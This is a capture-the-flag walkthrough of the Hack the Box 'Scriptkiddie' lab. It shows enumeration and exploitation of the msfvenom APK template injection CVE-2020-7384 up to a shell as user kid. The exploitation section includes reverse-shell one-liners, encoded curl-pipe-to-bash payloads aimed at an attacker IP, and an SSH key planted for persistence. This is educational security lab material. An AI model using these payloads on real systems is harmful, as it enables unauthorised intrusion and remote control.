Hack the Box - Scriptkiddie

Contents

Overview

Box Details

IP OS User-Rated Difficulty Date Started Date User Completed Date System Completed
10.10.10.226 Linux 4.0 2021-02-13 2021-02-15 2021-02-16

This was a pretty easy but really fun box based on exploiting another hacker’s badly made website. The website runs a number of Linux commands in the background, one of which makes use of an outdated metasploit library. This can be used to execute commands on the box as the kid user by uploading a malicious APK file. From the kid user, we can escalate to the pwn user by exploiting a command injection vulnerability in a logging script designed to ‘hack back’ other hackers. Finally, root involves exploiting sudo permissions on the msfconsole binary to gain a shell.


I loved this box, and how meta it was. Every part of the path felt super on-theme and it was really enjoyable. It was one of those boxes where everything running on the box felt like it had a reason to be there, and wasn’t just plopped onto it for the sake of having a CTF.

As with other writeups, this may contain screenshots dated from after the box retired. That’s because I didn’t use Obsidian when i did this box originally, and I went back and recaptured screenshots for this writeup.

I came back to this box to do the writeup after watching a couple of other videos and writeups on it, and found some nice alternative ways to do what I did originally. Revisiting the box really helped me analyse and be critical of my methodology the first time round, and I actually managed to pop a shell today using a certain method when I couldn’t a few months ago.


I used my new writeup converter tool to port this over to my site - give it a try!

You can also view this writeup in my Cybersecurity Notes repository.

Ratings

I rated user a 3 for difficulty, and root a 4. The exploits weren’t super complicated, just a little fiddly, especially when trying to return a shell. The initial APK exploit was really cool, and something I’d never heard of before. Enumeration was all pretty simple, and the final step to root was also easy. The meat of the box was the initial foothold and the escalation to pwn, so I’m sort of happy with the final step being simple.

Tags

#writeup #web #cve #command-injection #linux

Enumeration

Autorecon

I ran autorecon against the box first:

autorecon 10.10.10.226
[*] Scanning target 10.10.10.226
[*] Running service detection nmap-top-20-udp on 10.10.10.226
[*] Running service detection nmap-full-tcp on 10.10.10.226
[*] Running service detection nmap-quick on 10.10.10.226
[*] Service detection nmap-quick on 10.10.10.226 finished successfully in 29 seconds
[*] Found ssh on tcp/22 on target 10.10.10.226
[*] Found http on tcp/5000 on target 10.10.10.226
[*] Running task tcp/22/sslscan on 10.10.10.226
[*] Running task tcp/22/nmap-ssh on 10.10.10.226
[*] Running task tcp/5000/sslscan on 10.10.10.226
[*] Running task tcp/5000/nmap-http on 10.10.10.226
[*] Running task tcp/5000/curl-index on 10.10.10.226
[*] Running task tcp/5000/curl-robots on 10.10.10.226
[*] Running task tcp/5000/wkhtmltoimage on 10.10.10.226
[*] Running task tcp/5000/whatweb on 10.10.10.226
[*] Task tcp/22/sslscan on 10.10.10.226 finished successfully in less than a second
[*] Task tcp/5000/sslscan on 10.10.10.226 finished successfully in less than a second
[*] Running task tcp/5000/nikto on 10.10.10.226
[*] Running task tcp/5000/gobuster on 10.10.10.226
[*] Task tcp/5000/curl-robots on 10.10.10.226 finished successfully in less than a second
[*] Task tcp/5000/curl-index on 10.10.10.226 finished successfully in less than a second
[*] Task tcp/22/nmap-ssh on 10.10.10.226 finished successfully in 7 seconds
[*] Task tcp/5000/wkhtmltoimage on 10.10.10.226 finished successfully in 11 seconds
[*] Task tcp/5000/whatweb on 10.10.10.226 finished successfully in 16 seconds
[*] [10:53:56] - There are 5 tasks still running on 10.10.10.226
[*] Service detection nmap-top-20-udp on 10.10.10.226 finished successfully in 1 minute, 43 seconds
[*] [10:54:56] - There are 4 tasks still running on 10.10.10.226
[*] [10:55:56] - There are 4 tasks still running on 10.10.10.226
[*] [10:56:56] - There are 4 tasks still running on 10.10.10.226
[*] [10:57:56] - There are 4 tasks still running on 10.10.10.226
[*] [10:58:56] - There are 4 tasks still running on 10.10.10.226
[*] [10:59:56] - There are 4 tasks still running on 10.10.10.226
[*] [11:00:56] - There are 4 tasks still running on 10.10.10.226
[*] [11:01:56] - There are 4 tasks still running on 10.10.10.226
[*] [11:02:56] - There are 4 tasks still running on 10.10.10.226
[*] [11:03:56] - There are 4 tasks still running on 10.10.10.226
[*] [11:04:56] - There are 4 tasks still running on 10.10.10.226
[*] [11:05:56] - There are 4 tasks still running on 10.10.10.226
[*] [11:06:56] - There are 4 tasks still running on 10.10.10.226
[*] [11:07:56] - There are 4 tasks still running on 10.10.10.226
[*] Task tcp/5000/nmap-http on 10.10.10.226 finished successfully in 14 minutes, 57 seconds
[*] [11:08:56] - There are 3 tasks still running on 10.10.10.226
[*] Task tcp/5000/nikto on 10.10.10.226 finished successfully in 16 minutes, 7 seconds
[*] [11:09:56] - There are 2 tasks still running on 10.10.10.226
[*] [11:10:56] - There are 2 tasks still running on 10.10.10.226
[*] [11:11:56] - There are 2 tasks still running on 10.10.10.226
[*] [11:12:56] - There are 2 tasks still running on 10.10.10.226
[*] Task tcp/5000/gobuster on 10.10.10.226 finished successfully in 19 minutes, 45 seconds
[*] [11:13:56] - There is 1 task still running on 10.10.10.226
...[snip]...
[*] [11:46:58] - There is 1 task still running on 10.10.10.226

I eventually cancelled the scan. I’m not sure what the task was (autorecon isn’t great at telling you what exactly is running when something goes wrong) but it didn’t turn out to matter.

Nmap

The output of Autorecon’s _quick_tcp_nmap scan:

# Nmap 7.91 scan initiated Sat Feb 13 10:52:56 2021 as: nmap -vv --reason -Pn -sV -sC --version-all -oN /root/Documents/scriptkiddie/results/10.10.10.226/scans/_quick_tcp_nmap.txt -oX /root/Documents/scriptkiddie/results/10.10.10.226/scans/xml/_quick_tcp_nmap.xml 10.10.10.226
Nmap scan report for 10.10.10.226
Host is up, received user-set (0.060s latency).
Scanned at 2021-02-13 10:52:59 GMT for 26s
Not shown: 998 closed ports
Reason: 998 resets
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/YB1g/YHwZNvTzj8lysM+SzX6dZzRbfF24y3ywkhai4pViGEwUklIPkEvuLSGH97NJ4y8r9uUXzyoq3iuVJ/vGXiFlPCrg+QDp7UnwANBmDqbVLucKdor+JkWHJJ1h3ftpEHgol54tj+6J7ftmaOR29Iwg+FKtcyNG6PY434cfA0Pwshw6kKgFa+HWljNl+41H3WVua4QItPmrh+CrSoaA5kCe0FAP3c2uHcv2JyDjgCQxmN1GoLtlAsEznHlHI1wycNZGcHDnqxEmovPTN4qisOKEbYfy2mu1Eqq3Phv8UfybV8c60wUqGtClj3YOO1apDZKEe8eZZqy5eXU8mIO+uXcp5zxJ/Wrgng7WTguXGzQJiBHSFq52fHFvIYSuJOYEusLWkGhiyvITYLWZgnNL+qAVxZtP80ZTq+lm4cJHJZKl0OYsmqO0LjlMOMTPFyA+W2IOgAmnM+miSmSZ6n6pnSA+LE2Pj01egIhHw5+duAYxUHYOnKLVak1WWk/C68=
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJA31QhiIbYQMUwn/n3+qcrLiiJpYIia8HdgtwkI8JkCDm2n+j6dB3u5I17IOPXE7n5iPiW9tPF3Nb0aXmVJmlo=
|   256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOWjCdxetuUPIPnEGrowvR7qRAR7nuhUbfFraZFmbIr4
5000/tcp open  http    syn-ack ttl 63 Werkzeug httpd 0.16.1 (Python 3.8.5)
| http-methods: 
|_  Supported Methods: POST GET HEAD OPTIONS
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 13 10:53:25 2021 -- 1 IP address (1 host up) scanned in 28.98 seconds

Key findings:

Gobuster

I ran a quick gobuster against the domain:

┌──(mac㉿kali)-[~]
└─$ gobuster dir -u http://10.10.10.226:5000 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.226:5000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/12 12:46:02 Starting gobuster in directory enumeration mode
===============================================================
                                
===============================================================
2021/06/12 12:50:37 Finished
===============================================================

It didn’t find anything.

Website

Visiting http://10.10.10.226:5000 we see a site full of ‘hacker tools’:

It looks like under the hood this will be running some common linux penetration testing commands. Let’s try a few.

Nmap

Let’s try nmapping the box itself to test this, submitting 127.0.0.1:

Cool! That seems to work, and might be relevant if there’s some sort of SSRF vulnerability later. What if there’s some form of command injection?

I tried a few payloads here:

They all gave me the same response, “invalid ip”:

No problem - let’s move on to the next command.

Payloads

This is a ‘payload generator’, which makes me think it might be running something like msfvenom.

Trying to Upload a Reverse Shell Template

There is an option to choose an Operating System, and an option to upload a template file. Perhaps we can upload a reverse shell to the box via the template upload?

Curling the site with verbose mode doesn’t tell us anything new about what it’s running:

┌──(mac㉿kali)-[~]
└─$ curl -v 10.10.10.226:5000
*   Trying 10.10.10.226:5000...
* Connected to 10.10.10.226 (10.10.10.226) port 5000 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.226:5000
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 2135
< Server: Werkzeug/0.16.1 Python/3.8.5
< Date: Sat, 12 Jun 2021 12:00:52 GMT

I’m not sure what format to use for a payload on a Werkzeug server - from experience with flask, I’m pretty sure it won’t just execute a file if we visit its path. We also didn’t discover any sort of /uploads path in our Gobuster scan, but let’s just generate a generic payload and see what happens:

┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie]
└─$ msfvenom -p linux/x64/shell_reverse_tcp -o test_shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Saved as: test_shell

We don’t particularly care about the settings for the payload the site is generating - we just want it to save our malicious template:

However, this doesn’t work:

Windows requires an exe. So if we select linux as our OS instead, will it take our file? This time it requires an ELF:

The first time I did this box, I searched for an ELF file and grabbed its magic bytes, then sent that to a test file just to see if it would upload:

$ head -c 8 ~/Documents/enum/pspy64 > elfy
$ file elfy
elfy: ELF 64-bit LSB (SYSV)
$ echo "hello" >> elfy
$ file elfy
elfy: ELF 64-bit LSB (SYSV)

However, you can also generate an ELF with msfvenom, which is what I tried the second time round:

┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie]
└─$ msfvenom -p linux/x64/shell_reverse_tcp -f elf -o test_elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: test_elf

I sent this off:

But got back the same error message. So I tried again with the .elf file extension:

This time the server hung for a while, and eventually output “something went wrong”:

This suggests it is indeed running something like msfvenom in the background, as it always takes a while to execute.

I thought about looking for the file on the system - there was no /uploads/ directory according to gobuster, but what if it’s saved under /payloads/? Or just /test_elf.elf?

Both of these returned a 404:

Let’s try to generate a working payload and see if it tells us a file location. We’ll turn on Burp Suite first, then I’ll try a basic Android payload without a template file to see if it gives us anything. Here’s the request in Burp:

There’s potentially a few parameters to fuzz in that request. But for now, let’s see what happened. It worked!

The page outputs a link to /static/payloads/[HASH] for downloading the payload:

I tried looking for our malicious templates in this directory, and in /static/templates/, but neither worked:

Let’s check what format the Android generator needs for a template file, just for due diligence:

It wants a .apk file. This will be useful to know later on.

Trying Command Injection

Before I moved on to the next command, I checked for command injection in the payloads field:

I got “invalid lhost ip”:

This was the same for several other command injection payloads.

sploits

The final tool seems to just run searchsploit:

We can try some basic command injections again. I submitted ubuntu; id in the field, and got this message back:

Interesting! There seems to be some sort of command injection protection. I tried a few different payloads:

I also tried ubuntu; curl http://10.10.16.211/test to see if I got a hit on a sudo nc -lnvp 80 listener despite the warning. This one actually worked!

I tried a python server:

So can we get a shell? I submitted ubuntu; nc 10.10.16.211 80 -e /bin/bash. I got a connection - but it didn’t stay open:

Next I tried ubuntu; bash -c 'bash -i >& /dev/tcp/10.10.16.211/80 0>&1', but I got the same result.

I spent a bit of time working on this, before moving on.

CVEs in Binaries

At this point I wasn’t sure where to go next, so wondered if there was a vulnerability in the binaries running on the box themselves. Here’s what I thought the commands might look like:

# nmap
nmap --top-ports 100 [ip]

# payloads
msfvenom --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=[lhost] LPORT=443 --template [template] -o /static/payloads/...

# sploits
searchsploit [term]

I wondered if there was a CVE for any of these binaries, so I checked in searchsploit:

The final result looked promising! It was an vulnerability in metasploit itself:

Metasploit Framework 6.0.11 - msfvenom APK template command injection

And had a corresponding python script. Let’s give it a try!

Metasploit CVE

The CVE exploits a vulnerability in Metasploit 6.0.11. There’s no indication of what’s running on the box, but this seems to be our best shot.

I found a few articles on the topic that were helpful:

It seems the exploit is in the Android payload generation, and we need to generate a malicious APK. This article gives a good overview of how it actually works:

https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md#the-vulnerability

It appears to be due to a bad character escape when using keytool to generate a self-signed certificate, presumably for allowing the result of the msfvenom command to run as a valid APK. The page describes it better than I can:

Trying the Exploit Manually

I copied across the exploit with searchsploit -m multiple/local/49491.py and renamed it to gen-apk.py.

I tried a good number of exploits here. The first thing I had to do was install jarsigner so the APK template could be generated:

$ sudo apt install -y default-jdk

The default payload just echoes some text:

# Change me
payload = 'echo "Code execution as $(id)" > /tmp/win'

So we can change this to do something more interesting. I first tried a simple /bin/bash reverse shell:

payload = 'bash -i >& /dev/tcp/10.10.16.211/9001 0>&1'

However, trying to generate this immediately crashed, giving me a “keytool error” which seemed to be because of illegal characters.

Instead, I tried a base64 encoded payload:

┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/scripts]
└─$ echo "bash -c ‘bash -i >& /dev/tcp/10.10.16.211/9001 0>&1’" | base64
YmFzaCAtYyDigJhiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjIxMS85MDAxIDA+JjHigJkK

So the payload should look like this:

payload = 'echo "YmFzaCAtYyDigJhiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjIxMS85MDAxIDA+JjHigJkK" | base64 -d | bash'

We can test this works with something harmless:

┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/scripts]
└─$ echo "id" | base64
aWQK
┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/scripts]
└─$ echo "aWQK" | base64 -d | bash
uid=1000(mac) gid=1000(mac) groups=1000(mac),27(sudo)

Awesome. Now let’s try running it:

┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/scripts]
└─$ python3 gen-apk.py 
[+] Manufacturing evil apkfile
Payload: echo "YmFzaCAtYyDigJhiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjIxMS85MDAxIDA+JjHigJkK" | base64 -d | bash
-dname: CN='|echo ZWNobyAiWW1GemFDQXRZeURpZ0poaVlYTm9JQzFwSUQ0bUlDOWtaWFl2ZEdOd0x6RXdMakV3TGpFMkxqSXhNUzg1TURBeElEQStKakhpZ0prSyIgfCBiYXNlNjQgLWQgfCBiYXNo | base64 -d | sh #

  adding: empty (stored 0%)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
jar signed.

Warning: 
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.
POSIX file permission and/or symlink attributes detected. These attributes are ignored when signing and are not protected by the signature.

[+] Done! apkfile is at /tmp/tmphrdxir6g/evil.apk
Do: msfvenom -x /tmp/tmphrdxir6g/evil.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null

We can submit this template to the generator. Again, the choice of lhost doesn’t matter:

We click generate, and the page hangs for a while. Eventually, we receive this back to our shell:

Strange, I’ve never seen that error before. But it means we’re on the right track.

I tried to go for a staged payload instead. To achieve this, I’d need two APK files - one to save a reverse shell to the box, and one to execute it:

┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/scripts]
└─$ echo "echo 'bash -i >& /dev/tcp/10.10.16.211/9001 0>&1' > /tmp/hellothere.sh" | base64
ZWNobyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yMTEvOTAwMSAwPiYxJyA+IC90bXAv
aGVsbG90aGVyZS5zaAo=
┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/scripts]
└─$ echo "/tmp/hellothere.sh" | base64
L3RtcC9oZWxsb3RoZXJlLnNoCg==

I had a few issues with this, including base64 encoding occasionally inserting a line break depending on what IP I had. I had to keep checking my payload was okay with base64 -d before submitting:

┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/scripts]
└─$ echo "ZWNobyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yMTEvOTAwMSAwPiYxJyA+IC90bXAvaGVsbG90aGVyZS5zaAo=" | base64 -d
echo 'bash -i >& /dev/tcp/10.10.16.211/9001 0>&1' > /tmp/hellothere.sh

I also created a second copy of the python script with the second payload, so I could run them both without having to keep going in and editing the payload variable.

Submitting the first stage eventually gave me the “something went wrong message”:

This isn’t really indicative of whether or not it worked. To test, we need to run the second one as well. Resubmitting another payload:

(and remembering to restart our netcat listener):

The page finishes executing, but we don’t get a hit. I tried again, this time specifying port 80 in my first stage, and starting a new listener:

But no hit.

Debugging

I tried a few methods here to try and fix my payload:

I tried a payload that would grab a file with wget (as we know this works) and pipe it directly to bash:

┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/scripts]
└─$ echo "wget http://10.10.16.211/rev.sh | bash" | base64
d2dldCBodHRwOi8vMTAuMTAuMTYuMjExL3Jldi5zaCB8IGJhc2gK
┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/scripts]
└─$ python3 gen-apk.py 
[+] Manufacturing evil apkfile
Payload: echo "d2dldCBodHRwOi8vMTAuMTAuMTYuMjExL3Jldi5zaCB8IGJhc2gK" | base64 -d | bash
-dname: CN='|echo ZWNobyAiZDJkbGRDQm9kSFJ3T2k4dk1UQXVNVEF1TVRZdU1qRXhMM0psZGk1emFDQjhJR0poYzJnSyIgfCBiYXNlNjQgLWQgfCBiYXNo | base64 -d | sh #

  adding: empty (stored 0%)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
jar signed.

Warning: 
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.
POSIX file permission and/or symlink attributes detected. These attributes are ignored when signing and are not protected by the signature.

[+] Done! apkfile is at /tmp/tmpv43nnb6f/evil.apk
Do: msfvenom -x /tmp/tmpv43nnb6f/evil.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null

I made a rev.sh file:

#rev.sh
bash -c 'bash -i >& /dev/tcp/10.10.16.211/9001 0>&1'

And stood up a python listener on port 80:

┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/www]
└─$ sudo python3 -m http.server 80
[sudo] password for mac: 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Then a netcat listener to hopefully catch the shell:

┌──(mac㉿kali)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...

I got a hit on my Python server, but nothing in netcat:

I tried one more time, using curl instead of wget:

┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/scripts]
└─$ echo "curl http://10.10.16.211/rev.sh | bash" | base64
Y3VybCBodHRwOi8vMTAuMTAuMTYuMjExL3Jldi5zaCB8IGJhc2gK
┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/scripts]
└─$ python3 gen-apk.py 
[+] Manufacturing evil apkfile
Payload: echo "Y3VybCBodHRwOi8vMTAuMTAuMTYuMjExL3Jldi5zaCB8IGJhc2gK" | base64 -d | bash
-dname: CN='|echo ZWNobyAiWTNWeWJDQm9kSFJ3T2k4dk1UQXVNVEF1TVRZdU1qRXhMM0psZGk1emFDQjhJR0poYzJnSyIgfCBiYXNlNjQgLWQgfCBiYXNo | base64 -d | sh #

  adding: empty (stored 0%)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
jar signed.

Warning: 
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.
POSIX file permission and/or symlink attributes detected. These attributes are ignored when signing and are not protected by the signature.

[+] Done! apkfile is at /tmp/tmp056ul9j3/evil.apk
Do: msfvenom -x /tmp/tmp056ul9j3/evil.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null

This time it worked!

With msfconsole

The first time I did this box, I used msfconsole to generate the apk after not getting it to work manually. It worked first time, and I always wondered what the command was. I’m happy to have been able to successfully debug this the second time around!

Here’s what I did with msfconsole either way:

msf6 > search msfvenom

Matching Modules
================

   #  Name                                                                    Disclosure Date  Rank       Check  Description
   -  ----                                                                    ---------------  ----       -----  -----------
   0  exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection  2020-10-29       excellent  No     Rapid7 Metasploit Framework msfvenom APK Template Command Injection


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection

msf6 > info 0

       Name: Rapid7 Metasploit Framework msfvenom APK Template Command Injection
     Module: exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-29

Provided by:
  Justin Steven

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.apk          yes       The APK file name

Payload information:
  Avoid: 5 characters

Description:
  This module exploits a command injection vulnerability in Metasploit 
  Framework's msfvenom payload generator when using a crafted APK file 
  as an Android payload template. Affects Metasploit Framework <= 
  6.0.11 and Metasploit Pro <= 4.18.0. The file produced by this 
  module is a relatively empty yet valid-enough APK file. To trigger 
  the vulnerability, the victim user should do the following: msfvenom 
  -p android/<...> -x <crafted_file.apk>

References:
  https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md
  https://cvedetails.com/cve/CVE-2020-7384/

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show options

Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.apk          yes       The APK file name


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST 10.10.14.9
LHOST => 10.10.14.9
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 9001
LPORT => 9001
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run

[+] msf.apk stored at /root/.msf4/local/msf.apk
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > exit

Then I used the outputted msf.apk file to get a shell.

Shell as kid

I first tried upgrading my shell. The default terminal seemed to be /bin/sh:

We can also grab the user flag:

kid has an SSH directory, so we can write a key if we want to:


[on host]
┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/ssh]
└─$ ssh-keygen -f scriptkiddie

[on kid]
echo 'ssh-rsa A..[rest of scriptkiddie.pub]..8= mac@kali' >> .ssh/authorized_keys

[on host]
┌──(mac㉿kali)-[~/Documents/HTB/scriptkiddie/ssh]
└─$ ssh -i scriptkiddie kid@10.10.10.226

Basic Enumeration

I checked the home directory out:

$ ls -la
total 60
drwxr-xr-x 11 kid  kid  4096 Feb  3 11:49 .
drwxr-xr-x  4 root root 4096 Feb  3 07:40 ..
lrwxrwxrwx  1 root kid     9 Jan  5 20:31 .bash_history -> /dev/null
-rw-r--r--  1 kid  kid   220 Feb 25  2020 .bash_logout
-rw-r--r--  1 kid  kid  3771 Feb 25  2020 .bashrc
drwxrwxr-x  3 kid  kid  4096 Feb  3 07:40 .bundle
drwx------  2 kid  kid  4096 Feb  3 07:40 .cache
drwx------  4 kid  kid  4096 Feb  3 11:49 .gnupg
drwxrwxr-x  3 kid  kid  4096 Feb  3 07:40 .local
drwxr-xr-x  9 kid  kid  4096 Feb  3 07:40 .msf4
-rw-r--r--  1 kid  kid   807 Feb 25  2020 .profile
drwx------  2 kid  kid  4096 Feb 10 16:11 .ssh
-rw-r--r--  1 kid  kid     0 Jan  5 11:10 .sudo_as_admin_successful
drwxrwxr-x  5 kid  kid  4096 Jun 12 13:39 html
drwxrwxrwx  2 kid  kid  4096 Feb  3 07:40 logs
drwxr-xr-x  3 kid  kid  4096 Feb  3 11:48 snap
-r--------  1 kid  kid    33 Jun 12 11:49 user.txt
$ cd logs
$ ls -la
total 8
drwxrwxrwx  2 kid kid 4096 Feb  3 07:40 .
drwxr-xr-x 11 kid kid 4096 Feb  3 11:49 ..
-rw-rw-r--  1 kid pwn    0 Jun 12 12:43 hackers

There was a logs directory, with a hackers file owned by the pwn user, which was empty.

I wondered if trying to ‘hack’ the site updated the file:

It didn’t seem to change.

I checked /etc/passwd for other users:

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
kid:x:1000:1000:kid:/home/kid:/bin/bash
pwn:x:1001:1001::/home/pwn:/bin/bash

The only other ‘real’ user was pwn.

I looked for files owned by kid:

$ find / -user kid 2>/dev/null
...[proc]...
/home/kid/.ssh
/home/kid/.ssh/authorized_keys
/home/kid/user.txt
/home/kid/logs
/home/kid/logs/hackers
/tmp/hsperfdata_kid
/tmp/hellothere.sh
/tmp/tmpxd8fhlry.apk
...[var]...

And for files in our group:

$ find / -group kid 2>/dev/null | grep -Ev 'proc|var|sys|run|cache|snap|gnupg'
/home/kid
/home/kid/.bash_logout
/home/kid/.local
/home/kid/.local/share
/home/kid/.local/share/apktool
/home/kid/.local/share/apktool/framework
/home/kid/.local/share/apktool/framework/1.apk
/home/kid/.bashrc
